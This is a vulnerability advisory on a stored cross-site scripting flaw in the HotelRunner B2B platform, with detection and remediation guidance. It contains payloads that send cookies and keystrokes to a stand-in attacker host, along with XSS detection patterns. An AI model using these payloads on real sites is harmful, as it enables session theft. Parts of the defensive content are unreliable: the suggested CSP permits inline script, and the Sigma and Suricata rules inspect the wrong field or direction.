CVE-2025-4294

Executive Summary

CVE-2025-4294 is a stored Cross-Site Scripting (XSS) vulnerability in HotelRunner B2B, a booking and property management platform. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the application. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to the 04.06.2025 release. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, given the nature of XSS in a B2B context, the risk to business partners and internal users is significant.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary web application (HotelRunner B2B). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a malicious link) but can lead to data theft or session hijacking in a B2B environment where trust is high.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the HotelRunner B2B interface. The application fails to sanitize or encode user-supplied input before rendering it in a web page. An attacker can inject malicious HTML/JavaScript into fields such as booking notes, customer names, or custom fields. When a victim (e.g., a hotel staff member or partner) views the affected page, the script executes in their browser context.

Attack Flow:

1. Attacker registers or logs into HotelRunner B2B.
2. Attacker submits a booking request with a malicious payload in a text field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database without sanitization.
4. A victim (e.g., hotel manager) views the booking details.
5. The script executes, stealing cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation in the web page generation logic.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without sanitization
echo "<div class='booking-note'>" . $_POST['note'] . "</div>";

Patched Code (Conceptual):

// Patched: HTML-encode output
echo "<div class='booking-note'>" . htmlspecialchars($_POST['note'], ENT_QUOTES, 'UTF-8') . "</div>";

The patched version (04.06.2025) implements proper output encoding using htmlspecialchars() or equivalent, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to HotelRunner B2B (any user role).
• A field that stores and displays user input (e.g., booking notes, customer name).

Exploitation Steps:

1. Log in to HotelRunner B2B.
2. Navigate to a form that accepts text input (e.g., "Add Booking Note").
3. Inject the following payload:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for a victim to view the booking details.
6. The victim's browser sends their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
};
</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual script tags in input fields (e.g., <script>, <img onerror=, <svg onload=).
• Use WAF rules to block common XSS patterns.
• Review logs for requests containing document.cookie, fetch, or XMLHttpRequest in POST data.

Defense:

• Apply the vendor patch (update to version 04.06.2025 or later).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use input validation (whitelist) and output encoding (HTML entity encoding).
• Deploy a Web Application Firewall (WAF) with XSS rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or ?key= in the query string.
  • POST requests with payloads containing <script>, onerror, onload, or javascript:.

• Host IOCs:

  • Unexpected JavaScript files in browser cache.
  • Modified browser settings (e.g., proxy changes) indicating session hijacking.

• Log IOCs:

  • Web server logs showing %3Cscript%3E (URL-encoded <script>) in POST data.
  • Application logs with unusual characters in text fields (e.g., <>, &, ").

Detection Engineering

YARA Rule

rule CVE_2025_4294_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting HotelRunner B2B"
        author = "Valters IT"
        date = "2025-06-10"
        reference = "CVE-2025-4294"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4294 XSS Attempt in HotelRunner B2B
id: 8a3b2c1d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payloads in HTTP POST requests to HotelRunner B2B
author: Valters IT
date: 2025-06-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-4294 XSS Payload in HotelRunner B2B";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-4294;
)

Remediation & Mitigation

Immediate Actions:

1. Update HotelRunner B2B to version 04.06.2025 or later.
2. If patching is not possible, implement a Web Application Firewall (WAF) with XSS rules.
3. Enable Content Security Policy (CSP) headers:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

   (Note: unsafe-inline may be required for legacy compatibility; consider removing after testing.)

Long-Term Fixes:

• Conduct a code review to ensure all user input is sanitized and output is encoded.
• Implement input validation (whitelist) for all text fields.
• Use a security scanner to identify similar XSS vulnerabilities.

Workaround:

• Disable the affected input fields (e.g., booking notes) until a patch is applied.
• Restrict access to the B2B interface to trusted IPs only.

Valters IT
Securing Digital Frontiers